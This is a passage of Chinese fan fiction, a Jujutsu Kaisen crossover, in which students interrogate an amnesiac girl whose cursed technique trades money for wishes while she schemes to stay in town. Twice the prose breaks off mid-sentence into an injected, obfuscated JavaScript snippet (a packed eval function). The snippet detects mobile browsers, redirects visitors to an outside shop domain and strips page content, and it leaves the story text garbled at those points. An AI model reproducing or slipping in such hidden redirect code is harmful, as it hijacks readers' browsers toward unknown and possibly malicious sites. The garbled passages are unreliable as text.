但按照社交能量来说,一般人真的跟不上他那种闹腾水准。 ……这下谁也说不出拒绝了。 不过这疑问之外,灰原雄还有些想要抱怨:“我还想在夏油前辈面前好好表现一下来着……” 两个一年生刚独立工作没多久,就叫前辈过来帮忙是不是太没用了一点? “别指望我会安慰你。”七海啪地一声合上了手机,“而且,遇到工作上的难关的正确态度是寻求帮助,而不是在这里一阵头脑发热地盲目往上冲。” “但是我们也不知道那个袭击玛利亚的咒灵是怎么、” “——你真的认为那是咒灵的原因吗?” 被突然打断,灰原忍不住抬头。 他这才发现那个同级生从之前开始,表情就隐约有些阴沉。 虽然七海建人面上一贯总爱挂着那种有些口是心非的——‘不想干了’‘我为什么要来’‘真是够了’的样子。 但这种严肃的表情,就算是灰原,也是第一次见。 ……这到底是怎么了? “不是咒灵吗?” 但灰原的疑问还没来得及得到答案,七海建人的手机已经响了起来。 狭窄的显示窗口上,赫然标着来电人的名字。 [夏油前辈] 而七海建人叹了口气,说起‘没想到前辈这会儿还没睡’的寒暄话,接起了电话。 “正好,省得我说两次了。”他捂着话筒,示意灰原和自己一起去酒店阳台,“……你应该还记得我们在黑暗中看到的情况吧,灰原。” * 黑暗里的那一分钟。 当时,两个高专生在察觉到诡异气息的第一时间就回了头,灰原更是立时就打算把玛利亚保护起来。 术师的体质远超普通人,对黑暗的适应很快,这让两个高专生都发现了一个事实。 灰原扑了个空—— 因为本该站在两人的身侧的玛利亚消失了。 取而代之的,是本体不明,只知道非常危险的气息,漆黑里能感觉到调味市西侧郊外有着非常危险的咒灵气息,声音也消失了…… 虽然现在他们也想不出具体的原因,但一切看上去都很不对劲。 “也可能……玛利亚当时就已经摔在地上了?” “我们是在灯亮起才听到她倒地的声音吧。”也就是说,那家伙在灯亮起之前肯定不是倒在地上的。 “那、被咒灵拎起来……” 灰原仍然有些不信邪。 而七海已经飞快地打断了他的幻想:“这片黑暗是在玛利亚尝试中止术式的同时出现的。” 它也刚好在玛利亚约好的束缚里的截止时间之后,也就是1点整消失,这难道会是巧合吗? 不仅如此。 假设这黑暗中确实存在什么凶恶的咒灵,那它显然不能和玛利亚同时存在——毕竟当时玛利亚的气息消失了,取而代之是‘咒灵’的气息出现。 那这样说的话。 是谁袭击地玛利亚呢?既然都无法同时存在。 “也许是咒灵直接把玛利亚吞下去了所以我们只能感觉到一个呢?” “她身上除了脑袋的伤口之外,什么外伤都没有,身上也没有残秽,就算是牙洞也只有脑袋上的一个口子——难道那个咒灵只有下牙吗。”七海建人眉头都快拧在一起了。 ……这片黑暗,明显就是因为玛利亚将术式关闭而出现的。 灰原消停了下来,电话那头的前辈们一开始也没反应,像是在消化七海这边丢去的信息。 而七海建人已经说出了自己的猜测。 ——玛利亚没有记忆,她的术式是金钱与愿望的交换。 “虽然按理来说,愿望只会有‘实现了’和‘没能实现’这两种状态。” 就像是电灯开关一样,它要么打开,要么关闭,不应该存在中间态才对——愿望也是,怎么想也不存在‘稍微实现’‘没有完全实现’这种诡异的东西吧? 但是。 有另外一种可能性。 会不会……现在在玛利亚身上,仍然挂着一些‘仍然在实现过程中’的愿望呢? “我的猜测之一,有人对玛利亚许愿,利用她的术式封印了什么了不得的东西。” 这从某种角度上来说,可以解释那种诡异气息的来处——毕竟封印不是消灭,一旦玛利亚的术式关闭,那种气息就会重新冒出来。 说起这个,七海建人表情复杂:“但这种猜测无法解释为什么那个诡异气息出现的同时,玛利亚就消失了。” 所以他还有另外一种最坏的猜测。 自诩天资不足,所以对这些理论下了大功夫的一年生有些犹豫地丢出了自己的结论。 ——他和灰原现在看到的‘玛利亚’,搞不好才是‘许愿’的结果。 那个失忆、有些没心没肺的金发笨蛋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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七海建人语气十分迟疑。 普通人对这种事情可能没有多少实感—— 几乎没有负面情绪,换言之,玛利亚几乎不受道德的拘束——毕竟道德从某种意义上来说是被耻感、对惩罚的恐惧、以及对‘不被团体不认可’的厌恶情绪驱动的。 但她并没有这种东西。 偏偏还是‘那种’术式,并且按照他和灰原的观察,现在还没有看到这种术式的逻辑和上下限。 也是对着前辈和同级生,七海建人才能把自己的疑虑说出口:“如果把情况告诉辅助监督,任由他汇报的话,上头会给玛利亚下什么判断是完全可预见的吧……” 所以那个时候,他才含糊其辞糊弄了过去。 这么一说,灰原也反应了过来。 之前造成的骚乱且不说,玛利亚这种充满了可利用性的术式、过分随意的道德观念。 “……总感觉是无条件死刑或是监禁的样子。”想起了咒术界那些老头的德行,这简直都不需要猜——就连灰原都露出了头痛的表情。 但七海建人也不知道这个选择对不对。 “所以、我在想……”金发高专生表情严肃。 不管是那个本体不明的诡异气息,玛利亚现在有些不太清楚的术式,还是她这种不可控的性格。 果然。 “还是得让五条前辈观察一下,而如果可以的话……”他犹豫了片刻,“得由夏油前辈来确认一下玛利亚的安全性吧?”虽然他更期待玛利亚的术式确实存在个可控的上限。 而与此同时。 电话里的两个前辈在七海话音结束的同时,终于给出了反应——当然和他预料中的回应完全不一样。 [等等、怎么想也是由我来确认安全性吧!?明明就是有求于我,要借用我超——强的眼力诶!]电话那头,五条悟的声音伴随着电流分外响亮。 对此,七海建人倒是能马上给出答案:“五条前辈太容易随着兴趣做事了。” [杰那家伙只是更会装乖而已吧。] “至少夏油前辈演得很靠谱,没有耐心的时候也会微笑。”七海说话一点情面都没有,“而且就算是恶趣味也会遵守礼仪做事。” [我也会遵守的噢,礼仪。] “觉得没意思就会无视吧,五条前辈。” [……至少不要在当事人在场的时候说坏话吧。]看来电话是被夏油杰抢了回去,听筒里,这位狐狸眼前辈语气有些无奈。 然后。 两个前辈的话题这才回到了正轨,夏油杰的语气严肃了起来。 [七海刚才说的那个灰色兼职是铃木真理亚?然后她的术式是金钱和愿望的交换……我们应该没有听错吧。] 对他们提到的姓氏十分陌生,但姑且肯定了Maria和术式的事情。 而那边已经传来了非常低声的讨论声。 紧接着就是结论。 [……真的会有这么巧合的事情吗?] 这边的两个高专生都没有听懂:“嗯?” 而电话那头的夏油杰并未解释,只是转移了话题。 [解释起来太复杂了……等我们之后过来再说吧,可能需要几天时间,没问题吗?] 他转而问起了七海的目的:[……如果由我们确认了那个‘玛利亚’的术式,她确实非常危险的话,你们想怎么做?] 要交给‘上头’吗? 还是放任? 而两个都做不到——七海建人叹了口气。 自己有常识但缺乏足够的实力。 而五条前辈和玛利亚凑一起搞不好会扯出更大的乱子; 灰原只会被玛利亚带着跑; 硝子前辈不是一线人员; 交给‘大人们’又让人实在不放心。 “……不能交给夏油前辈来看管吗?”由夏油杰作为玛利亚的担保人。 [我吗?] * 电话那头的夏油杰还没给出回答。 反倒是另外一个女声插了进来:“都不问我的意见也太过分了吧?” 两个高专生被吓了一跳,这才发现,被包成了一个菠萝脑袋的玛利亚不知道什么时候已经清醒了过来,从酒店房间内探出了脑袋,一本正经地回复了两个高专生的问题。 ……这家伙到底是什么时候就待在这里的!? 不仅如此。 和略带严肃的讨论与推断相反,搞不好会被监管的当事人倒是毫无紧张感。 “我都不知道七海会有那么多想法……直接问我不就好了。” ……你果然听到了啊。 而七海刚要开口,玛利亚已经啊了一声:“不过我什么都不记得,好像也回答不了什么。” 七海建人的额角冒起了青筋,连那一丝歉意也忘了,直接就给了玛利亚头顶一记人格修正拳。 22.拨号指南4 玛利亚的突然冒头显然把在场、不在场的几个人都吓了一跳。 因为把人气得够呛,被七海砸了一拳,玛利亚本人倒是毫无感觉,还会倒打一耙:“我又没有生气。” 他们明明就在背后说她的坏话,都没有停过,错的人应该是说人坏话的那边吧? 被这种‘因为也没什么好生气的,我原谅你了’的态度气得够呛,但七海建人已经完全放弃了抵抗:“你说是什么就是什么吧。” 先是灰原,然后是这个家伙……他总感觉成为术师是对自己心智的考验。 “不过,七海没有把我送去死刑应该是在袒护我吧……谢谢你。”无条件乐观,又无师自通了踩钢丝的技术。 简直跟先拆家,再跑去摇尾巴一样……如果光头桑在这里的话,恐怕会觉得这场面似曾相识。 玛利亚老实地恰到好处。 七海不说话了,只是叹气。 “不过七海已经改口不用敬语,叫我玛利亚的话,我们是朋友了吗?” “我只是觉得你不值得尊重而已。”对她使用敬语这个人也不会有感觉。 “我可以跟灰原一样叫你娜娜明吗?” “叫我七海。” “好的,娜娜明。” …… 所以,最后是灰原热心地帮电话两边互相介绍了一下—— “五条前辈——”他思考了片刻,比手画脚地隔着电话替玛利亚描述,方便她进行想象,“玛利亚只要看到白发、大眼睛、个子超级高又很强就会知道的,五条前辈很喜欢开玩笑还有点凶,不过人是很好的。” 七海一脸‘哪里看出来的’的表情。 而对于夏油杰,噢,按照灰原的说法。 是夏油杰前辈。 玛利亚只得到了这样的描述:“【虽然】夏油前辈平时看着像是个笑眯眯的狐狸,还留着有点奇怪的刘海和丸子头……玛利亚可能会觉得他有点像是不-良,但其实是个很了不起的前辈!” 但除了灰原鼓吹的有责任心、温柔绅士、受女生欢迎、很有礼貌、很会关心弱者、对咒术师的职业规划与正道就像是他的下颌线那样清晰……之外。 玛利亚只记住了几个表层特征。 是个怪刘海眯眯眼,下颌线特别清晰。 出于某种特别的原因,她认真地点了点头。 介绍很快轮到了玛利亚。 不过,这种情况应该算是审问才对——虽然审问很快就变得像是联谊的破冰游戏一样荒腔走板。 也不知道乱来的最强挚友组和玛利亚之间,谁的问题更大一点。 而随着审问(附带场外嘉宾连线),和一系列非常严肃、专业的心理测试—— 玛利亚身上的情况逐渐变得……跟夏油杰的职业规划一样明朗了起来。 * 高专生们首先搞清楚了玛利亚是怎么回事——毕竟她已经清醒,有些事情问本人最快——但在经历了灵幻耳提面命的培训之后,玛利亚倒也被动长出了些心眼。 她按照灵幻的嘱咐,只是掐头去尾,略去了箱子和自己(不)是真理亚的部分,只说自己什么也不记得,是跟着本能从高野山来到了这里。 而头上的伤口在醒来就已经是这样了。 确实是实话,也确实几乎没有提供什么帮助—— “昏迷过去的时候,玛利亚有感觉到什么吗?” 玛利亚托着自己的下巴:“唔……大部分都不太记得了,但感觉……”在术式关闭的片刻,玛利亚感觉到了很多陌生的感知,焦急、愤怒有之,也有一些让人搞不懂的情绪。 而因为物理角度没法说出口,所以玛利亚也没法把梦里看到的只言片语告诉高专生。 当然她也没有这么说的意愿。 ……得快点找到箱子才行。 这就是玛利亚唯一的感想。 “这就是平时越不生气的人,生起气来更可怕的意思吧。”灰原显然没法读心,只是这样总结。 [没办法……七海,等我们确认了安全性之后,就把玛利亚酱带到高专吧。]电话那头的夏油杰话说得非常谨慎,[让硝子看看她的伤口。] 听到要离开调味市,玛利亚眨了眨眼。 而在心理测试方面。 玛利亚光是在快问快答环节就输得很惨。 ‘主持人’七海建人板着脸询问老实坐回椅子上的玛利亚:“如果有人请求你伤害他人的话,会产生负罪感吗?玛利亚。” 玛利亚眼睛眨巴眨巴,没有撒谎:“嗯……应该不会吧。” 负罪感0。 灰原满眼充满了期待:“一个可怜的老人家蹲在路边向你祈求钱币的话?” “我比他穷诶。” 问题被电话那头的五条悟抢走了:[我们和普通人掉进水里,你救哪一个?] 旁边倒是已经传来了‘到底是哪个术师会掉进水里啊’这种抱怨声。 只有玛利亚独自认真,脑筋转得快冒烟了:“……我、嗯……我会游泳吗?”记忆里-根本没有游泳的片段,但她总觉得自己应该是能漂起来的。 而片刻之后,金发水打工仔老实回答。 “谁给钱(应该)就能救谁?” 判断:同情心欠费。 [那如果有人花一亿日元,请求你毁灭世界呢?]话题高度是由夏油杰拔高的。 “……”玛利亚沉默,看上去像是陷入了道德挣-扎。 电话这边的灰原、七海终于松了口气,但还没来得及表现出乐观来。 甚至灰原的‘我就知道,在大是大非上玛利亚还是……’都还没说出口。 玛利亚已经双手抱胸,陷入了非常用力且无用的思考:“……可是这点预算真的很难想出可行的方案诶。” 应该考虑的首先是自己做不做得到吧你这个家伙!? 只是打了一两个月工,玛利亚身上已经染上了可悲的班味,她一副多少价钱办多少事的抠搜模样,已经嘀嘀咕咕起了—— “如果要把人口一个响指减半的话,一人一円都需要三十五亿……” “或是像灵幻说的棉花糖白毛一样,将所有的平行世界毁灭,平行世界旅行的路费要按照机票的规格计算吗?” “……把所有超能力者塞进结界里进行生存游戏……” “啊、说起来还有让全世界一起做梦这种方法……”一亿日元,就连让全世界少女做梦的电影都做不出来呢。 玛利亚独自认真地回忆起这段时间看过的电视节目反派,但旁边的两人已经陷入了思考——这家伙说的那些毁灭世界的模版都是谁啊? “要不然我还是祈祷获得三百亿好了。”想起之前得到的手指,玛利亚的歪心思不自觉就冒了出来。 当然。 没能成功。 [光是认真在思考这种事情就已经很奇怪了,玛利亚酱。]电话里,属于夏油杰的声音非常柔和,像是根本没把玛利亚说的话当回事。 他语气平和而亲昵。 但听着灵幻的声线对她说着这种柔和的用语,虽然不太清楚原因,玛利亚还是起了一身鸡皮疙瘩。 但玛利亚还没作死把‘夏油要不然还是对我凶一点’、‘吐槽不能激烈一点吗,总感觉有点奇怪’说出口。 五条悟这家伙唯恐天下不乱的嘲笑已经传了过来。 [哈哈——这家伙根本想不到聪明的毁灭世界的方法嘛,明明感觉是个很强的术式,你怎么用成这样啊……既然都可以许愿了,花钱强化自己一下不行吗?] 阔佬已经无师自通了课金玩法。 他一副看不起玛利亚的样子滔滔不绝,总感觉要是本人在这的话,手指都要戳到玛利亚的脸颊上了。 而这个高专生似乎唯独在自己感兴趣的时候,才会表现出自己脑子确实很好的那一面。 [操纵粒子对撞机产生黑洞不就行了?只需要修改一个概率数,成本也很低。稍微收缩一下地球就完蛋了吧。] [悟,不要教玛利亚酱没必要的东西。] [切。] “什么对撞机?……概、概什么?”输在了文化水平,玛利亚觉得每个单词拆开都能听懂,合在一起却完全不明白。 “不过,真的能去平行世界吗?”灰原十分好奇。 虽然玛利亚也不知道到底有没有平行世界这种东西:“……有钱就行吧?”她的逻辑只有一条,“如果不行那应该是钱不够的问题。” 不过,好在这边的几个高专生也十分满足于玛利亚对毁灭世界……过分朴素的思路。 七海建人直接松了口气:“不、你不知道这种事情是好事。”而事到如今,几人也终于得出了对玛利亚的初步结论。 能力有余,动力不足,没什么道德包袱,但很老实。 毕竟玛利亚就算被人怀疑或是当面说起要如何处置、限制自由的事情也没有生气,反而能玩在一起。 她明显没钱就什么都不想干,坏处是有饵就吃,很好操纵……只要不被奇怪的坏蛋雇佣或是利用,基本就没有过大的威胁性。 不仅如此——哪怕放到毁灭世界这种‘中二终极任务’上。 玛利亚工作态度是很积极的,这点值得鼓励。 但靠着她的倒霉财运和根本没法控制自己术式的状态……结论。 单纯只是个笨蛋。 * 玛利亚姑且被判处为留待观察,但明显几个高专生都对她降下了戒心—— 电话那头已经说起了之后的工作安排,他们的情况似乎也和玛利亚这边有点关系,电流声的对面已经说起—— ‘杰去找诅咒师需要一点时间’……几人絮絮叨叨说起最近散播凭依着咒灵的诅咒钱币的奇怪事件。 偷偷听着夏油杰抱怨已经找了高僧、侦探、占卜师和教主。 一道冷光闪过了玛利亚漏风的脑袋,她下意识啊了一声。 ……都连起来了! “怎么了吗?”七海建人皱眉,从手机里回头看她。 金发·她这么乖巧能做什么坏事呢·玛利亚摇了摇头。 而在计划方面。 两个高专生打算几天之后再来检查玛利亚、确认了安全之后,再把她带到高专看看能不能治疗。 七海和灰原现在就先专心完成工作。 ……这种事情。 因为没心没肺被认定是笨蛋,玛利亚在光明正大竖起耳朵偷听的同时,也对这些人产生了一些结论。 最重要的两点之后再提—— 不过电话那头,那两个高专生的声音……听起来都好耳熟。 夏油杰真的不是灵幻在假装吗?声线几乎一模一样。 而且……那个五条悟。 对自己作下的孽隐隐约约产生了印象,玛利亚毫无紧张感地歪着脑袋,总感觉他从电话那头透过来的声音,听起来有一点点耳熟。 而碰巧。 对面也是这么想的。 * 高野山下。 今天晚上注定是一个混乱的晚上,但也快要结束了。 两个男高为了失踪的钱箱咒具找到这里,知道钱箱失窃的现场有一个叫做‘铃木真理亚’的失踪人员。 而就是这么凑巧——调味市那边就出现了一个和失踪人员同名,且和失窃钱箱有着一样术式的失忆女生,更加凑巧的是,她正是在高野山醒来的。 就差把‘我和这件事有着超级重要的关系’写在脑袋上了。 五条悟一手捏着自己的下巴:“我果然是世界的中心吧。”事情都顺着他想要的方向发展了。 “给我好好用疑问句。”夏油杰皮笑肉不笑,他要找的诅咒师可是一点信儿都没有。 “嫉妒~?” “才没有这回事。” “……不过,这家伙的声音听上去怎么这么耳熟?”和那边商量完对策就挂断了电话,墨镜男高满脸狐疑,但很快就放弃了思考,“算了,反正过去就知道了。” 说着,五条悟看向了夏油杰:“那个咒灵怎么样了?” 他说的正是唔姆怪。 而夏油杰将手里那个已经断尾的咒灵提了起来,自从刚刚咬住电话倒流时间之后,唔姆怪就开始了呼呼大睡,不仅如此…… “尾巴也没有长回来。” 确切来说,应该是暂时没有长回来……夏油杰的术式感知里,那个和断尾、回溯时间连在一起的按钮并没有消失,更像是按下去了之后陷入了技能冷却。 而虽然术式的详细限制不清楚。 但已经可以判断,这个只会唔姆唔姆叫的咒灵,应该可以回溯自己咬住的物品,或是咬住的物品周围一部分空间的时间…… 尾巴应该是储存能量、或是可以回溯的象征吧,长出尾巴代表蓄能完毕。 ……就是不知道需要多久才能进行下一次回溯了。 感觉它应该很长一段时间都派不上用场,总算了结了一桩心事,夏油杰把咒灵收了回去。 今晚就这么结束了。 * 而电话挂断之后,七海、灰原已经累得不行了。 他们约好明天先带着神父和玛利亚去公寓检查一下,晚上再看看怎么解决SATORU君的召唤。 虽然现在这档子委托已经不是最大的问题,但水管无论如何还是要修的。 (并且玛利亚坚持要拿到满额的报酬) ……至少要在两个前辈过来之前解决事态。 想着这种事,两个高专生就一个挤在沙发上,一个在隔壁床上倒头睡了过去。 玛利亚也随着高专生睡过去的时机,用被子盖住了自己的脑袋——但缩在被窝堡垒里的她并不是要睡觉。 ……昏迷的时候已经睡够了。 此刻躲在被子里,玛利亚将电话声音调到了最低,任由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192851|148999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手机的亮光照亮了自己的脸。 她在凌晨三四点非常缺德地偷偷拨通了灵幻的电话。 毕竟麻里姐还有工作,光头桑太远了,能帮忙的怎么想都只有灵幻。 当然,在听完玛利亚的请求之后。 灵幻的第一反应果然是拒绝:[……回公寓让那些咒灵躲起来!?喂、你是不是当我脑袋坏掉了……而且它们为什么会听我的命令、等等,先帮你找好别的落脚处是什么意思……] 而这样先抱怨一通之后。 [……你这个家伙该不会干了什么吧。]灵幻终于反应过来了,那根本不是个疑问句。 干的事情太多,玛利亚像是个潜水艇一样,悄悄从被窝边缘上浮,左右转着眼珠,观察了一下敌情。 娜娜明和灰原都没有要醒的样子。 很好。 但感觉还是少发出声响为妙,玛利亚挂断了电话,换成了邮件交流——本来打电话也就是为了确保灵幻会被吵醒而已。 玛利亚:[总之,不能让他们发现我偷吃咒灵的事情。] 灵幻:[你到底干了什么?] 玛利亚:[……要是被发现身上的麻烦太多的话,绝对会被带着离开调味市的。] 在偷听到那两个高专生的电话的时候……事情姑且在玛利亚漏风的脑袋里链接在了一起。 她得先找到箱子才行。 在此之前,玛利亚绝对不能离开调味市。 而这是因为…… [你到底干了什么?] 灵幻的回复来得飞快。 [如果不用我能听懂的语言在三句话内说明,或是在做什么犯罪的事情的话,我是绝对不会帮忙的。] 于是在床上一边打字一边扭动的玛利亚终于安定了下来。 [我来调味市的路上,不是花了一些钱币吗。]虽然当时自己是按照普通钱币消费出去的。 [嗯。] 玛利亚倒没什么负罪感,更多的是觉得大麻烦要来了的感觉。 [那些好像也是‘吃剩下’的。]上面好像也凭依着咒灵,[而且,我好像不小心给别人打了骚扰电话。] 然后玛利亚就把自己拼凑起来的——自己追着箱子,但似乎有两个叫五条悟和夏油杰的家伙在追查箱子的同时,也在追着她的事情一股脑告诉了灵幻。 [现在好像还没有暴露,但是等看到公寓里面的小手他们肯定就会都想明白吧?] 并且这两个家伙过几天,还要把她带到东京去观察术式和治疗。 灵幻很长时间没有回复,似乎是在消化玛利亚发过去的内容。 而他并不太能理解玛利亚的想法:[你不想解决问题吗?而且这些高专生对你没有恶意吧?]受了伤,能去让专业人士检查一下不是刚好吗? 确实,解决问题是一回事。 虽然脑袋还有些糊涂,但玛利亚多少还是能感觉到的……除非是对自己有恶意,那些伙伴们应该都不会有什么危险性。 (当然,吓人这种要素完全被她无视了) [跟他们商量就好了吧,听上去不是坏人。] [这段时间不行……我还不能被限制行动,而且没法告诉他们。]而提到这点,金发笨蛋就有些固执了起来,[得等到找到箱子之后才行。] 等找到了箱子,这些人想怎么把她关起来都无所谓,但是在这之前,她绝对不能被限制行动。 而且在七海和灰原睡着之前,她还问过能不能等她先做完自己的事情再去高专。 但不管是娜娜明还是电话的对面好像都不太想给玛利亚拖延的时机——虽然也是好心,但那些高专生好像觉得……玛利亚脑袋上那个洞更加重要。 她又不会有什么问题。 到底有什么重要? [又是直觉……?] [才不是。]玛利亚第一时间否认,但又很快承认了,[稍微有点……?] 但无论是打字还是说话,她都没办法把自己在昏迷过去、术式关闭的片刻看到的东西告诉灵幻或是任何人。 在昏迷的短暂间隙……愿望失灵的片刻。 玛利亚好像看到了一点点,有个人朝着自己许愿的模样……一个纤细的黑影嘴一-张-一-合。 许愿的人有着和自己一模一样的脸——真理亚。 玛利亚在术式失效的片刻明白了对方的名字。 ‘……谁都好……我不想再……’ 但她许愿的内容已经记不太清楚,恐怕这也是愿望的一部分吧。 而按照娜娜明之前的猜测也知道,那是个代价庞大的愿望,也正是因为许愿者无法支付完整的代价,玛利亚只能维持在这个不上不下的状态。 想到这里,哪怕没什么紧迫感,玛利亚也下意识感觉到了一丝不妙。 因为问题就在这里。 ——向玛利亚许愿的时候,会由许愿者支付价码。 而玛利亚不是那个许愿者。 她应该是接受愿望的那边——所以为了维持这个愿望,玛利亚在大部分时间只是因为术式运转……缺损咒力和一些金钱而已。 等等,这应该算是维护费吧?玛利亚有些没重点地思考了片刻。 而那个许愿的人,到底支付了多少呢? 她……那个许愿者。 不。 真理亚。 真理亚搞不好现在还在继续付出某种代价。 虽然只是某种直觉,玛利亚觉得这术式里面有个非常重要的东西被自己搞错了……而为了搞清楚这点。 必须得把真理亚的事情搞清楚,赶快找到箱子才行。 在此之前,她应该没有去兼顾其他事情的时间。 更不要说先被带到东京了。 * 而虽然没得到玛利亚更明确的解释,灵幻最后还是屈服了:[……算了,先说好了,你之后会乖乖听专业人士的安排的吧。] [你这种搞不清楚到底是在思考、还是没在思考的家伙真的很难搞诶。]那个成年人抱怨起来。 玛利亚答应了。 [我该怎么做?] 于是金发打工仔告诉了灵幻自己的计划。 她打算白天稍微糊弄过去让两个高专生觉得那就是普通的公寓——然后。 玛利亚要在晚上给SATORU打电话的时候,悄悄努力完成工作,然后开溜。 ——她的计划是趁着这两个家伙不知道自己住处和底细的时候先躲起来,调查清楚真理亚的事情、找到箱子,然后再塔嗒一声潇洒出现。 为此……玛利亚需要足够的现金、可以转移小手他们的新落脚点(最好超级便宜)、还有—— 就是混进真理亚读书的黑醋高中。 * 先说好了,金毛搞事的概率很低……但绝对不等于零。 玛利亚给即将到来的两人,准备了一个大惊喜。 23.拨号指南5 因为昨晚的好一通折腾。 第二天的中午。 七海建人、灰原雄才被神父优吾和玛利亚带到了那处调味市颇有名气的凶宅。 当然。 主要是西山优吾带路。 因为玛利亚的带路能力一般取决于她的手里有多少钱。 不过说到这里,也应当顺便提起神父的事情——他在离开公寓之后就感觉到了无法操纵自己的身体,视野逐渐变得黑暗…… 等自己好不容易因为胸口一热而恢复意识的时候,自己已经在搬运眼镜的尸体了。 寄生自己的霉菌应该是要把眼镜种在乡下,成为新的菌床之类的。 西山优吾不太想仔细思考那种事情。 “想在想来,果然是玛利亚酱帮了我的忙。”这么说着,戴着黑色单边眼罩的神父从自己的口袋里摸出了一张只剩下半截的一万日元。 虽然之前就知道了玛利亚的术式,但两个高中生还是第一次真正意义上领教到了她那种不讲理的现实扭曲技术。 只见神父手里,那是玛利亚当时掉在通风口里的纸钞,优吾在搜索公寓的时候找到了。 他当时打算还给玛利亚来着。 但是之后发生的事情他们都记得,就不用多说了。 看到了自顾自烧剩下的金钱。 玛利亚下意识就撇嘴啧了一声,神父优吾呛到一样笑出了声:“玛利亚酱完全没有变呢。” “……也只是过去一两个月吧?”再说她也没有变的打算。 “不过用了玛利亚的钱,我还是还给你吧?” 反倒是那个和金钱锁死的笨蛋挣-扎了片刻,最后还是顶着一对等号眼艰难拒绝了。 “毕竟交易已经完成了……应该是我自己无意识许愿了吧。”玛利亚每个字都像是从牙缝里挤出来的,但是原则就是原则,“没用完的那一半还给我就行。” 而且拿回来意义也不大。 虽然是没用完的金钱,但是半张的钞票到底能做什么啊。 也不能找术式找零……呃,好痛苦! 不过听到这话,神父优吾却没有把那半截纸钞还给玛利亚,他点点头,把那半截纸钞折成了护身符的样式塞进口袋,然后摸出了自己的钱包。 他又从里面摸出了五千円,塞到了玛利亚的手里。 “就算按照玛利亚的公平交易原则,这也算是一半吧?” 五千也是一万的一半,术式没有办法找零,但是人可以。 神父把钱放下,又说起这之后如果去附近县的乡下工作的话都可以随时联络他。 他多少也想提供一点报答。 “……不过,搞不好只能给玛利亚寄一些农产品,或是请你去乡下野营之类的。” 戴着眼罩的西山神父露出苦笑:“毕竟虽然刷上了时髦值,也增加了驱魔履历。”他苦中作乐地一手摸上了自己的眼罩,玩笑似的露出自己专门镶嵌的异色假眼,“始终还是乡下教区的神父呢。” “那西山神父要许愿吗?”玛利亚拿着五千円。 “……哎呀,毕竟我是有信仰的人,不能向其它的神祈祷呢,虽然玛利亚是玛利亚,但毕竟不是那位圣母玛利亚。”那位神父好像早就想过这种事情,直接拒绝了。 这已经是第三个,或是第四个对许愿没兴趣的人。 玛利亚歪着脑袋,不太能理解:“我又不是什么神明……”而且交换的话应该会很便利吧。 “看上去是、听上去是,那玛利亚酱对于其它人来说就是吧?” 无法理解。 玛利亚索性放弃了和信者同频。 而两个高专生走在后面,耳聪目明的他们当然能够听到前面发生的事情。 单这一路上,七海建人权当自己不存在,而灰原则是面上带着真好、真好啊的表情笑得冒出了花。 但闲聊的时间终归有限—— 到了。 玛利亚提起了精神。 ……只能相信灵幻了! 因为玛利亚现在算是‘缓刑监视’阶段,所以——在昨天和灵幻商量完之后,幕后主脑·玛利亚就什么可疑的事情都没有做过,只是安心地待在两个高专生的监视之下当个乖宝宝。 而越是靠近公寓。 虽然并不紧张,但非常不擅长演戏的玛利亚动作就越是一板一眼,察觉到她像是高兴的发条小人一样咔叽咔叽的走动,两个高专生都扭过头来。 灰原有些担心,还没开口询问。 “果然,那之后发生的事情把你吓坏了吧?玛利亚酱。”西山神父已经一脸担心地按住了她的肩膀。 过去对于未成年小可怜的误解,叠上了不通人性初出茅庐咒术师的滤镜,又加上了*钞票燃烧是因为玛利亚酱带着想要救我的愿望*的偏心病。 神父现在对玛利亚的误解深得……多少有种神父觉得你害怕的意味。 只有七海建人什么话都没说,懒得跟着折腾,撇开了视线。 ——这家伙根本就没有恐惧感,到底是谁会被吓坏啊。 * 而肩负着‘一切就交给你了’的灵幻新隆,早就等在了公寓门外。 从昨晚凌晨三点接到了玛利亚的电话,灵幻第一时间就开车来到了公寓,为这一刻做起了准备。 看到了过来的人影,他整了整自己的领带,直接就从拐角蹿了出来:“——几位就是之前预约好过来看房的客人吧!” 没等两个高专生说话,成年人就已经唰地一声抽出三四张印着‘调味市地产公司经理人幻灵旧隆’的名片。 在几个人还没反应过来的时候,灵幻就把这张打印痕迹有些重的名片直接塞到了他们手里。 玛利亚看着荒唐的假名噗呲了一声。 不省心的熊孩子直接就被灵幻新隆瞪了一眼,乖乖闭嘴了。 而名片塞到玛利亚手上的时候,这个大人还悄悄用嘴型试图给玛利亚传达信息。 结果这家伙根本看不懂,灵幻几乎都能看到问号替代了玛利亚的五官,浮在了她脸上。 ……你这个家伙该不会只有在干坏事的时候用脑袋吧!? 灵幻脸直接就垮了下来,他叹了口气,诈骗、不、语言赋能大师觉得还是自己一手包办就行了。 当然,玛利亚想要花钱作弊的动作也被灵幻挡住了……以一个悄咪-咪砸在手背的脑瓜崩。 就是她习惯性-交给术式作弊,才会惹出来这么多乱子吧。 没办法。 交给大人吧。 那边神父打扮的年轻人发现两人的小动作,面上出现了片刻迟疑:“……?” 七海建人皱起眉,怀疑度上升了一点点:“我们联络了房产经理人来带路吗?” “毕竟现在只有房产拥有人有钥匙……昨天见面的时候我就联系了。”不过好在玛利亚反应很快,就算没听懂灵幻在说什么,睁着眼睛说瞎话这方面还是很顺溜的。 “啊……”灰原似懂非懂地点头。 而对公寓的检查,就是这么有惊无险地过去的—— 玛利亚早就跟两个术师说好了这里的异常早已经自己消失的事情。 灵幻也不愧是超·能力者,玛利亚只是给他起了个头,这位成熟的社会人就已经把剩下的99步全都安排好了。 他顶着‘我是个超级想卖房子的房产经理’、‘鬼?什么鬼?哪里来的鬼?’的人设,直接以垃圾话一样过量信息把几个人带得根本无暇思考。 灵幻一时间又是:“这位客人——这里可没有什么异常噢。” 一时间又是…… 